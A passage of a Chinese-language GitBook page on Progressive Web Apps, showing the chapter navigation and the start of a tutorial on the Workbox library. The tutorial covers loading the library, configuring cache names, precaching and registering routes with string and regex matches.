href=\"5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"../chapter06.html\">\n            \n                <a href=\"../chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"../chapter06/1-manifest-json.html\">\n            \n                <a href=\"../chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"../chapter06/2-credentials-api.html\">\n            \n                <a href=\"../chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"../chapter06/3-notification-api.html\">\n            \n                <a href=\"../chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"../chapter06/4-web-push-api.html\">\n            \n                <a href=\"../chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"../chapter06/5-payment-request-api.html\">\n            \n                <a href=\"../chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"../chapter07.html\">\n            \n                <a href=\"../chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"../chapter07/1-https.html\">\n            \n                <a href=\"../chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"../chapter07/2-CSP.html\">\n            \n                <a href=\"../chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"../chapter07/3-policy.html\">\n            \n                <a href=\"../chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"../chapter07/4-vulnerability.html\">\n            \n                <a href=\"../chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"../chapter08.html\">\n            \n                <a href=\"../chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"../chapter08/1-loading-performance.html\">\n            \n                <a href=\"../chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"../chapter08/2-rendering-performance.html\">\n            \n                <a href=\"../chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"../chapter09.html\">\n            \n                <a href=\"../chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"../chapter09/1-search-engine-index.html\">\n            \n                <a href=\"../chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"../chapter09/4-preload-pwa.html\">\n            \n                <a href=\"../chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"../appendix01.html\">\n            \n                <a href=\"../appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"../appendix01/1-lighthouse.html\">\n            \n                <a href=\"../appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"../appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"../appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"../thanks.html\">\n            \n                <a href=\"../thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\"..\" >5.5 使用 Workbox</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#&#x4F7F;&#x7528;-workbox\"><b></b>&#x4F7F;&#x7528; Workbox</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x5F15;&#x5165;-workbox\"><b></b>&#x5F15;&#x5165; Workbox</a></li><li><span class=\"title-icon \"></span><a href=\"#workbox-&#x914D;&#x7F6E;\"><b></b>Workbox &#x914D;&#x7F6E;</a></li><li><span class=\"title-icon \"></span><a href=\"#workbox-&#x9884;&#x7F13;&#x5B58;&#x529F;&#x80FD;\"><b></b>Workbox &#x9884;&#x7F13;&#x5B58;&#x529F;&#x80FD;</a></li><li><span class=\"title-icon \"></span><a href=\"#workbox-&#x8DEF;&#x7531;&#x529F;&#x80FD;\"><b></b>Workbox &#x8DEF;&#x7531;&#x529F;&#x80FD;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x8DEF;&#x7531;&#x5339;&#x914D;&#x89C4;&#x5219;\"><b></b>&#x8DEF;&#x7531;&#x5339;&#x914D;&#x89C4;&#x5219;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x5904;&#x7406;&#x65B9;&#x6CD5;\"><b></b>&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x5904;&#x7406;&#x65B9;&#x6CD5;</a></li></ul><li><span class=\"title-icon \"></span><a href=\"#workbox-&#x7F13;&#x5B58;&#x7B56;&#x7565;\"><b></b>Workbox &#x7F13;&#x5B58;&#x7B56;&#x7565;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x7F13;&#x5B58;&#x7B56;&#x7565;&#x914D;&#x7F6E;\"><b></b>&#x7F13;&#x5B58;&#x7B56;&#x7565;&#x914D;&#x7F6E;</a></li></ul><li><span class=\"title-icon \"></span><a href=\"#&#x57FA;&#x4E8E;-workbox-&#x6539;&#x9020;-service-worker\"><b></b>&#x57FA;&#x4E8E; Workbox &#x6539;&#x9020; Service Worker</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x5C0F;&#x7ED3;\"><b></b>&#x5C0F;&#x7ED3;</a></li></ul></ul></div><a href=\"#&#x4F7F;&#x7528;-workbox\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h1 id=\"&#x4F7F;&#x7528;-workbox\"><a name=\"&#x4F7F;&#x7528;-workbox\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x4F7F;&#x7528;-workbox\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x4F7F;&#x7528;-workbox\" class=\"plugin-anchor\" href=\"#&#x4F7F;&#x7528;-workbox\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x4F7F;&#x7528; Workbox</h1>\n<p>Workbox &#x662F; Google Chrome &#x56E2;&#x961F;&#x63A8;&#x51FA;&#x7684;&#x4E00;&#x5957; PWA &#x7684;&#x89E3;&#x51B3;&#x65B9;&#x6848;&#xFF0C;&#x8FD9;&#x5957;&#x89E3;&#x51B3;&#x65B9;&#x6848;&#x5F53;&#x4E2D;&#x5305;&#x542B;&#x4E86;&#x6838;&#x5FC3;&#x5E93;&#x548C;&#x6784;&#x5EFA;&#x5DE5;&#x5177;&#xFF0C;&#x56E0;&#x6B64;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x5229;&#x7528; Workbox &#x5B9E;&#x73B0; Service Worker &#x7684;&#x5FEB;&#x901F;&#x5F00;&#x53D1;&#x3002;&#x672C;&#x8282;&#x5185;&#x5BB9;&#x5C06;&#x4ECB;&#x7ECD; Workbox &#x7684;&#x4E00;&#x4E9B;&#x5E38;&#x7528;&#x65B9;&#x6CD5;&#x3002;</p>\n<h2 id=\"&#x5F15;&#x5165;-workbox\"><a name=\"&#x5F15;&#x5165;-workbox\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5F15;&#x5165;-workbox\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5F15;&#x5165;-workbox\" class=\"plugin-anchor\" href=\"#&#x5F15;&#x5165;-workbox\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5F15;&#x5165; Workbox</h2>\n<p>Service Worker &#x6587;&#x4EF6;&#x5F15;&#x5165; Workbox &#x7684;&#x65B9;&#x6CD5;&#x975E;&#x5E38;&#x7B80;&#x5355;&#xFF0C;&#x53EA;&#x9700;&#x8981;&#x5728;&#x6587;&#x4EF6;&#x9876;&#x90E8;&#x589E;&#x52A0;&#x4E00;&#x884C;&#x4EE3;&#x7801;&#x5373;&#x53EF;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token function\">importScripts</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;https://storage.googleapis.com/workbox-cdn/releases/4.2.0/workbox-sw.js&apos;</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>Workbox &#x4ECE; 3.x &#x7248;&#x672C;&#x5F00;&#x59CB;&#x4FBF;&#x5C06;&#x5176;&#x6838;&#x5FC3;&#x6587;&#x4EF6;&#x6258;&#x7BA1;&#x5230; CDN &#x4E0A;&#x8FDB;&#x884C;&#x7EF4;&#x62A4;&#xFF0C;&#x5F00;&#x53D1;&#x8005;&#x4E5F;&#x53EF;&#x4EE5;&#x4E0B;&#x8F7D;&#x4E0B;&#x6765;&#x81EA;&#x884C;&#x7EF4;&#x62A4;&#x3002;</p>\n<p>&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x5224;&#x65AD;&#x5168;&#x5C40;&#x5BF9;&#x8C61; <code>workbox</code> &#x662F;&#x5426;&#x5B58;&#x5728;&#x6765;&#x786E;&#x8BA4; Workbox &#x662F;&#x5426;&#x52A0;&#x8F7D;&#x5B8C;&#x6210;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>workbox<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// Workbox &#x52A0;&#x8F7D;&#x5B8C;&#x6210;</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x4E00;&#x65E6; Workbox &#x52A0;&#x8F7D;&#x5B8C;&#x6210;&#xFF0C;&#x6211;&#x4EEC;&#x4FBF;&#x53EF;&#x4EE5;&#x4F7F;&#x7528;&#x6302;&#x8F7D;&#x5230; <code>workbox</code> &#x5BF9;&#x8C61;&#x4E0A;&#x7684;&#x5404;&#x79CD;&#x529F;&#x80FD;&#x4E86;&#x3002;</p>\n<h2 id=\"workbox-&#x914D;&#x7F6E;\"><a name=\"workbox-&#x914D;&#x7F6E;\" class=\"anchor-navigation-ex-anchor\" href=\"#workbox-&#x914D;&#x7F6E;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"workbox-&#x914D;&#x7F6E;\" class=\"plugin-anchor\" href=\"#workbox-&#x914D;&#x7F6E;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Workbox &#x914D;&#x7F6E;</h2>\n<p>Workbox &#x63D0;&#x4F9B;&#x4E86;&#x9ED8;&#x8BA4;&#x7684;&#x9884;&#x7F13;&#x5B58;&#x548C;&#x52A8;&#x6001;&#x7F13;&#x5B58;&#x7684;&#x540D;&#x79F0;&#xFF0C;&#x53EF;&#x5206;&#x522B;&#x901A;&#x8FC7; <code>workbox.core.cacheNames.precache</code> &#x548C; <code>workbox.core.cacheNames.runtime</code> &#x83B7;&#x53D6;&#x5F53;&#x524D;&#x5B9A;&#x4E49;&#x7684;&#x9884;&#x7F13;&#x5B58;&#x548C;&#x52A8;&#x6001;&#x7F13;&#x5B58;&#x540D;&#x79F0;&#x3002;&#x5728;&#x901A;&#x5E38;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x6211;&#x4EEC;&#x4F7F;&#x7528;&#x9ED8;&#x8BA4;&#x7684;&#x7F13;&#x5B58;&#x540D;&#x79F0;&#x8FDB;&#x884C;&#x8D44;&#x6E90;&#x5B58;&#x53D6;&#x5373;&#x53EF;&#xFF0C;&#x5047;&#x5982;&#x9047;&#x5230;&#x7F13;&#x5B58;&#x540D;&#x79F0;&#x51B2;&#x7A81;&#x7684;&#x60C5;&#x51B5;&#xFF0C;&#x4E5F;&#x53EF;&#x4EE5;&#x8C03;&#x7528; <code>workbox.core.setCacheNameDetails</code> &#x65B9;&#x6CD5;&#x53BB;&#x4FEE;&#x6539;&#x8FD9;&#x4E9B;&#x9ED8;&#x8BA4;&#x540D;&#x79F0;&#x3002;&#x4E0B;&#x9762;&#x7684;&#x4EE3;&#x7801;&#x6F14;&#x793A;&#x4E86;&#x4FEE;&#x6539;&#x9ED8;&#x8BA4;&#x540D;&#x79F0;&#x7684;&#x65B9;&#x6CD5;&#x4EE5;&#x53CA;&#x4FEE;&#x6539;&#x7ED3;&#x679C;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// &#x4FEE;&#x6539;&#x9ED8;&#x8BA4;&#x914D;&#x7F6E;</span>\nworkbox<span class=\"token punctuation\">.</span>core<span class=\"token punctuation\">.</span><span class=\"token function\">setCacheNameDetails</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>\n  prefix<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;app&apos;</span><span class=\"token punctuation\">,</span>\n  suffix<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;v1&apos;</span><span class=\"token punctuation\">,</span>\n  precache<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;precache&apos;</span><span class=\"token punctuation\">,</span>\n  runtime<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;runtime&apos;</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\">// &#x6253;&#x5370;&#x4FEE;&#x6539;&#x7ED3;&#x679C;</span>\n\n<span class=\"token comment\">// &#x5C06;&#x6253;&#x5370; &apos;app-precache-v1&apos;</span>\nconsole<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>worbox<span class=\"token punctuation\">.</span>core<span class=\"token punctuation\">.</span>cacheNames<span class=\"token punctuation\">.</span>precache<span class=\"token punctuation\">)</span>\n<span class=\"token comment\">// &#x5C06;&#x6253;&#x5370; &apos;app-runtime-v1&apos;</span>\nconsole<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>workbox<span class=\"token punctuation\">.</span>core<span class=\"token punctuation\">.</span>cacheNames<span class=\"token punctuation\">.</span>runtime<span class=\"token punctuation\">)</span>\n</code></pre>\n<h2 id=\"workbox-&#x9884;&#x7F13;&#x5B58;&#x529F;&#x80FD;\"><a name=\"workbox-&#x9884;&#x7F13;&#x5B58;&#x529F;&#x80FD;\" class=\"anchor-navigation-ex-anchor\" href=\"#workbox-&#x9884;&#x7F13;&#x5B58;&#x529F;&#x80FD;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"workbox-&#x9884;&#x7F13;&#x5B58;&#x529F;&#x80FD;\" class=\"plugin-anchor\" href=\"#workbox-&#x9884;&#x7F13;&#x5B58;&#x529F;&#x80FD;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Workbox &#x9884;&#x7F13;&#x5B58;&#x529F;&#x80FD;</h2>\n<p><code>workbox.precaching</code> &#x5BF9;&#x8C61;&#x63D0;&#x4F9B;&#x4E86;&#x5E38;&#x7528;&#x7684;&#x9884;&#x7F13;&#x5B58;&#x529F;&#x80FD;&#xFF0C;&#x5176;&#x4E2D;&#x6700;&#x5E38;&#x7528;&#x7684;&#x65B9;&#x6CD5;&#x662F; <code>workbox.precaching.precacheAndRoute</code>&#x3002;&#x5B83;&#x7684;&#x4F5C;&#x7528;&#x8DDF;&#x6211;&#x4EEC;&#x524D;&#x9762;&#x5B9E;&#x73B0;&#x7684; <code>Precacher.precacheAndRoute()</code> &#x7684;&#x529F;&#x80FD;&#x7C7B;&#x4F3C;&#xFF0C; &#x90FD;&#x662F;&#x5C06;&#x4F20;&#x5165;&#x7684;&#x8D44;&#x6E90;&#x5217;&#x8868;&#x8FDB;&#x884C;&#x9884;&#x7F13;&#x5B58;&#xFF0C;&#x540C;&#x65F6;&#x5BF9;&#x5339;&#x914D;&#x5230;&#x7684;&#x9884;&#x7F13;&#x5B58;&#x8BF7;&#x6C42;&#x76F4;&#x63A5;&#x4ECE;&#x672C;&#x5730;&#x7F13;&#x5B58;&#x4E2D;&#x8BFB;&#x53D6;&#x5E76;&#x8FD4;&#x56DE;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\">workbox<span class=\"token punctuation\">.</span>routing<span class=\"token punctuation\">.</span><span class=\"token function\">precacheAndRoute</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">[</span>\n  <span class=\"token punctuation\">{</span>\n    url<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;/index.html&apos;</span><span class=\"token punctuation\">,</span>\n    revision<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;asdf&apos;</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>\n  <span class=\"token string\">&apos;/index.abc.js&apos;</span><span class=\"token punctuation\">,</span>\n  <span class=\"token string\">&apos;/index.bcd.css&apos;</span>\n<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<h2 id=\"workbox-&#x8DEF;&#x7531;&#x529F;&#x80FD;\"><a name=\"workbox-&#x8DEF;&#x7531;&#x529F;&#x80FD;\" class=\"anchor-navigation-ex-anchor\" href=\"#workbox-&#x8DEF;&#x7531;&#x529F;&#x80FD;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"workbox-&#x8DEF;&#x7531;&#x529F;&#x80FD;\" class=\"plugin-anchor\" href=\"#workbox-&#x8DEF;&#x7531;&#x529F;&#x80FD;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Workbox &#x8DEF;&#x7531;&#x529F;&#x80FD;</h2>\n<p>Workbox &#x5BF9;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x5339;&#x914D;&#x548C;&#x5BF9;&#x5E94;&#x7684;&#x7F13;&#x5B58;&#x7B56;&#x7565;&#x6267;&#x884C;&#x8FDB;&#x884C;&#x4E86;&#x7EDF;&#x4E00;&#x7BA1;&#x7406;&#xFF0C;&#x91C7;&#x7528;&#x8DEF;&#x7531;&#x6CE8;&#x518C;&#x7684;&#x7EC4;&#x7EC7;&#x5F62;&#x5F0F;&#xFF0C;&#x4EE5;&#x6B64;&#x6765;&#x89C4;&#x8303;&#x5316;&#x52A8;&#x6001;&#x7F13;&#x5B58;&#x3002;&#x4E0E;&#x524D;&#x9762;&#x6211;&#x4EEC;&#x5C01;&#x88C5;&#x7684; Router &#x7C7B;&#x4F3C;&#xFF0C;Workbox &#x63D0;&#x4F9B;&#x4E86; <code>worbox.routing.registerRoute</code> &#x65B9;&#x6CD5;&#x8FDB;&#x884C;&#x8DEF;&#x7531;&#x6CE8;&#x518C;&#xFF0C;&#x4F7F;&#x7528;&#x65B9;&#x6CD5;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\">workbox<span class=\"token punctuation\">.</span>routing<span class=\"token punctuation\">.</span><span class=\"token function\">registerRoute</span><span class=\"token punctuation\">(</span>match<span class=\"token punctuation\">,</span> handlerCb<span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x63A5;&#x4E0B;&#x6765;&#x6211;&#x4EEC;&#x5C06;&#x5BF9;&#x4E24;&#x4E2A;&#x53C2;&#x6570;&#x8FDB;&#x884C;&#x4ECB;&#x7ECD;&#x3002;</p>\n<h3 id=\"&#x8DEF;&#x7531;&#x5339;&#x914D;&#x89C4;&#x5219;\"><a name=\"&#x8DEF;&#x7531;&#x5339;&#x914D;&#x89C4;&#x5219;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x8DEF;&#x7531;&#x5339;&#x914D;&#x89C4;&#x5219;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x8DEF;&#x7531;&#x5339;&#x914D;&#x89C4;&#x5219;\" class=\"plugin-anchor\" href=\"#&#x8DEF;&#x7531;&#x5339;&#x914D;&#x89C4;&#x5219;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x8DEF;&#x7531;&#x5339;&#x914D;&#x89C4;&#x5219;</h3>\n<p><code>workbox.routing.registerRoute</code> &#x7684;&#x7B2C;&#x4E00;&#x4E2A;&#x53C2;&#x6570; match &#x662F;&#x8DEF;&#x7531;&#x7684;&#x5339;&#x914D;&#x89C4;&#x5219;&#xFF0C;&#x652F;&#x6301;&#x4EE5;&#x4E0B;&#x51E0;&#x79CD;&#x5339;&#x914D;&#x6A21;&#x5F0F;&#xFF1A;</p>\n<p>1.&#x5BF9;&#x8D44;&#x6E90; URL &#x8FDB;&#x884C;&#x5B57;&#x7B26;&#x4E32;&#x5339;&#x914D;&#x3002;URL &#x5B57;&#x7B26;&#x4E32;&#x53EF;&#x4EE5;&#x662F;&#x5B8C;&#x6574; URL &#x6216;&#x8005;&#x662F;&#x76F8;&#x5BF9;&#x8DEF;&#x5F84;&#xFF0C;&#x5982;&#x679C;&#x662F;&#x76F8;&#x5BF9;&#x8DEF;&#x5F84;&#xFF0C;Workbox &#x9996;&#x5148;&#x4F1A;&#x4EE5;&#x5F53;&#x524D;&#x7F51;&#x9875;&#x7684; URL &#x4E3A;&#x57FA;&#x51C6;&#x8FDB;&#x884C;&#x8865;&#x5168;&#x518D;&#x8FDB;&#x884C;&#x5B57;&#x7B26;&#x4E32;&#x5339;&#x914D;&#x3002;&#x5047;&#x8BBE;&#x5F53;&#x524D;&#x9875;&#x9762;&#x7684; URL &#x4E3A; <code>http://127.0.0.1:8080/index.html</code>&#xFF0C;&#x90A3;&#x4E48;&#x5982;&#x4E0B;&#x6240;&#x793A;&#x6240;&#x6CE8;&#x518C;&#x7684;&#x8DEF;&#x7531;&#x90FD;&#x662F;&#x80FD;&#x591F;&#x6B63;&#x5E38;&#x5339;&#x914D;&#x5230; <code>http://127.0.0.1:8080/index.css</code> &#x8FD9;&#x4E2A;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x7684;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\">workbox<span class=\"token punctuation\">.</span>routing<span class=\"token punctuation\">.</span><span class=\"token function\">registerRoute</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;http://127.0.0.1:8080/index.css&apos;</span><span class=\"token punctuation\">,</span> handlerCb<span class=\"token punctuation\">)</span>\nworkbox<span class=\"token punctuation\">.</span>routing<span class=\"token punctuation\">.</span><span class=\"token function\">registerRoute</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;/index.css&apos;</span><span class=\"token punctuation\">,</span> handlerCb<span class=\"token punctuation\">)</span>\nworkbox<span class=\"token punctuation\">.</span>routing<span class=\"token punctuation\">.</span><span class=\"token function\">registerRoute</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;./index.css&apos;</span><span class=\"token punctuation\">,</span> handlerCb<span class=\"token punctuation\">)</span>\n</code></pre>\n<p>2.&#x5BF9;&#x8D44;&#x6E90; URL &#x8FDB;&#x884C;&#x6B63;&#x5219;&#x5339;&#x914D;&#x3002;&#x5047;&#x8BBE;&#x6211;&#x4EEC;&#x6CE8;&#x518C;&#x8FD9;&#x6837;&#x4E00;&#x6761;&#x6B63;&#x5219;&#x5339;&#x914D;&#x7684;&#x8DEF;&#x7531;&#x89C4;&#x5219;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\">workbox<span class=\"token punctuation\">.</span>routing<span class=\"token punctuation\">.</span><span class=\"token function\">registerRoute</span><span class=\"token punctuation\">(</span><span class=\"token regex\">/\\/index\\.css$/</span><span class=\"token punctuation\">,</span> handlerCb<span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x90A3;&#x4E48;&#x4EE5;&#x4E0B;&#x4EE5; &apos;/index.css&apos; &#x4E3A;&#x7ED3;&#x5C3E;&#x7684;<strong>&#x540C;&#x57DF;&#x8D44;&#x6E90;</strong>&#x90FD;&#x80FD;&#x591F;&#x547D;&#x4E2D;&#x8FD9;&#x6761;&#x8DEF;&#x7531;&#x89C4;&#x5219;&#xFF1A;</p>\n<ul>\n<li><code>http://127.0.0.1:8080/index.css</code></li>\n<li><code>http://127.0.0.1:8080/a/index.css</code></li>\n<li><code>http://127.0.0.1:8080/a/b/index.css</code></li>\n</ul>\n<p>&#x4F46;&#x662F;&#x5BF9;&#x4E8E;<strong>&#x8DE8;&#x57DF;&#x8D44;&#x6E90;</strong>&#x6765;&#x8BF4;&#x5E76;&#x4E0D;&#x4F1A;&#x547D;&#x4E2D;&#x8FD9;&#x6761;&#x8DEF;&#x7531;&#x89C4;&#x5219;&#x3002;&#x8FD9;&#x662F;&#x56E0;&#x4E3A; Workbox &#x5728;&#x6B63;&#x5219;&#x5339;&#x914D;&#x7684;&#x6A21;&#x5F0F;&#x4E0B;&#x5BF9;&#x8DE8;&#x57DF;&#x8D44;&#x6E90;&#x505A;&#x4E86;&#x7279;&#x6B8A;&#x5904;&#x7406;&#xFF0C;&#x4E00;&#x822C;&#x60C5;&#x51B5;&#x4E0B;&#x4F1A;&#x5FFD;&#x7565;&#x6389;&#x5BF9;&#x8DE8;&#x57DF;&#x8D44;&#x6E90;&#x7684;&#x5339;&#x914D;&#xFF0C;&#x53EA;&#x6709;&#x5F53;&#x6B63;&#x5219;&#x8868;&#x8FBE;&#x5F0F;&#x80FD;&#x591F;&#x5339;&#x914D;&#x5230;&#x8DE8;&#x57DF;&#x8D44;&#x6E90; URL &#x7684;&#x5F00;&#x5934;&#xFF0C;Workbox 